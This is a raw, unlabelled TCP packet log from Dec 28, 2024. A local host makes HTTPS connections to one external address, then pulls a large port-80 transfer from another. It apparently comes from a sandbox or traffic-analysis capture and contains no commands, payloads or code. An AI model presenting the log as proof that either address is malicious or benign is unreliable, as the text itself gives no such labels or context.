Dec 28, 2024 09:48:43.710470915 CET	443	49758	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:43.710571051 CET	49758	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:43.711309910 CET	49758	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:43.711330891 CET	443	49758	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:44.929969072 CET	443	49758	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:44.930120945 CET	49758	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:44.932224989 CET	49758	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:44.932236910 CET	443	49758	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:44.932497978 CET	443	49758	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:44.944861889 CET	49758	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:44.945133924 CET	49758	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:44.945141077 CET	443	49758	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:45.715059996 CET	443	49758	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:45.715187073 CET	443	49758	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:45.715277910 CET	49758	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:45.715415955 CET	49758	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:45.715428114 CET	443	49758	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:46.234925032 CET	49765	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:46.234982014 CET	443	49765	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:46.235204935 CET	49765	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:46.235578060 CET	49765	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:46.235590935 CET	443	49765	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:47.518810987 CET	443	49765	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:47.518934965 CET	49765	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:47.520384073 CET	49765	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:47.520414114 CET	443	49765	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:47.520657063 CET	443	49765	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:47.530025959 CET	49765	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:47.530744076 CET	49765	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:47.530791044 CET	443	49765	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:47.530915976 CET	49765	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:47.530956030 CET	443	49765	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:47.531066895 CET	49765	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:47.531091928 CET	443	49765	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:47.531605959 CET	49765	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:47.531629086 CET	443	49765	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:47.531775951 CET	49765	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:47.531802893 CET	443	49765	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:47.531918049 CET	49765	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:47.531940937 CET	443	49765	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:47.531954050 CET	49765	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:47.532080889 CET	49765	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:47.532113075 CET	49765	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:47.579335928 CET	443	49765	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:47.579550028 CET	49765	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:47.579588890 CET	49765	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:47.579597950 CET	49765	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:47.627335072 CET	443	49765	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:47.627635956 CET	49765	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:47.627671003 CET	49765	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:47.627696991 CET	49765	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:47.675335884 CET	443	49765	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:47.675446987 CET	49765	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:47.719335079 CET	443	49765	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:47.771222115 CET	443	49765	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:51.263987064 CET	443	49765	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:51.264092922 CET	443	49765	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:51.264234066 CET	49765	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:51.264353991 CET	49765	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:51.264374971 CET	443	49765	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:51.327819109 CET	49776	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:51.327838898 CET	443	49776	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:51.327923059 CET	49776	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:51.328244925 CET	49776	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:51.328254938 CET	443	49776	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:52.545552015 CET	443	49776	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:52.545701981 CET	49776	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:52.548577070 CET	49776	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:52.548588991 CET	443	49776	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:52.548818111 CET	443	49776	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:52.550271034 CET	49776	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:52.550308943 CET	49776	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:52.550337076 CET	443	49776	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:53.188173056 CET	443	49776	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:53.188293934 CET	443	49776	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:53.188441992 CET	49776	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:53.188821077 CET	49776	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:53.188836098 CET	443	49776	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:53.188857079 CET	49776	443	192.168.2.11	104.21.66.86
Dec 28, 2024 09:48:53.188862085 CET	443	49776	104.21.66.86	192.168.2.11
Dec 28, 2024 09:48:53.192315102 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:53.311861038 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:53.311964035 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:53.312138081 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:53.431562901 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:54.643058062 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:54.643083096 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:54.643105030 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:54.643172026 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:54.643182993 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:54.643197060 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:54.643209934 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:54.643220901 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:54.643223047 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:54.643248081 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:54.643385887 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:54.643400908 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:54.643424034 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:54.643445015 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:54.643487930 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:54.764213085 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:54.764265060 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:54.764333963 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:54.768409967 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:54.814958096 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:54.835377932 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:54.835418940 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:54.835484028 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:54.840986967 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:54.841104031 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:54.841161966 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:54.853559971 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:54.853571892 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:54.853626966 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:54.856319904 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:54.856486082 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:54.856532097 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:54.864629984 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:54.864739895 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:54.864785910 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:54.873042107 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:54.873157024 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:54.873207092 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:54.881345987 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:54.881361008 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:54.881402969 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:54.889765024 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:54.889839888 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:54.889890909 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:54.898089886 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:54.898240089 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:54.898291111 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:54.906523943 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:54.906546116 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:54.906584978 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:54.935205936 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:54.935328007 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:54.935373068 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:54.939362049 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:54.986838102 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.027180910 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.027195930 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.027275085 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.029537916 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.030420065 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.030432940 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.030468941 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.035471916 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.035531044 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.035564899 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.039967060 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.040024042 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.040051937 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.044639111 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.044696093 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.044709921 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.049376011 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.049423933 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.049474001 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.054114103 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.054202080 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.054228067 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.058865070 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.058924913 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.058989048 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.063627958 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.063699961 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.063730955 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.068357944 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.068422079 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.068485022 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.073085070 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.073160887 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.073191881 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.077841997 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.077896118 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.077938080 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.082552910 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.082627058 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.082684040 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.087356091 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.087416887 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.087443113 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.092067957 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.092118025 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.092144966 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.096790075 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.096843958 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.096851110 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.143136978 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.219095945 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.219177008 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.219254017 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.220814943 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.220916986 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.220964909 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.224214077 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.225477934 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.225538969 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.225594997 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.230421066 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.230433941 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.230479956 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.232716084 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.232775927 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.232850075 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.235757113 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.235815048 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.235860109 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.239182949 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.239233017 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.239343882 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.242628098 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.242683887 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.242722034 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.246085882 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.246129990 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.246211052 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.249488115 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.249531984 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.249617100 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.252902031 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.252945900 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.252975941 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.258039951 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.258054018 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.258102894 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.260263920 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.260277987 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.260330915 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.263588905 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.263602972 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.263652086 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.266905069 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.266959906 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.267055988 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.270330906 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.270390987 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.270467043 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.273866892 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.273879051 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.273920059 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.277221918 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.277268887 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.277364969 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.280742884 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.280755997 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.280801058 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.284013987 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.284060001 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.284265041 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.288495064 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.288507938 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.288578987 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.290570021 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.290620089 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.290678978 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.293961048 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.294032097 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.294116020 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.297410011 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.297454119 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.297535896 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.300844908 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.300894976 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.300965071 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.305104017 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.305119038 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.305162907 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.308646917 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.308659077 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.308737993 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.311542034 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.311589956 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.311655045 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.314621925 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.314672947 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.314775944 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.361851931 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.411282063 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.411298990 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.411359072 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.412765026 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.412786007 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.412863016 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.415823936 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.415950060 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.415992975 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.418771029 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.418951035 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.418992996 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.421859980 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.421873093 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.421931028 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.424923897 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.424937010 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.424971104 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.427787066 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.427916050 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.427958012 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.430656910 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.430730104 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.430771112 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.433494091 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.433532953 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.433581114 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.436283112 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.436295986 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.436350107 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.438983917 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.438996077 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.439049006 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.441519976 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.441615105 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.441659927 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.444233894 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.444246054 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.444281101 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.446810961 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.446973085 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.447017908 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.449461937 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.449579000 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.449621916 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.452023983 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.452164888 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.452227116 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.454741955 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.454755068 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.454814911 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.457312107 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.457431078 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.457602024 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.459959030 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.460187912 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.460239887 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.462541103 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.462635994 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.462677002 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.465177059 CET	80	49782	185.215.113.16	192.168.2.11
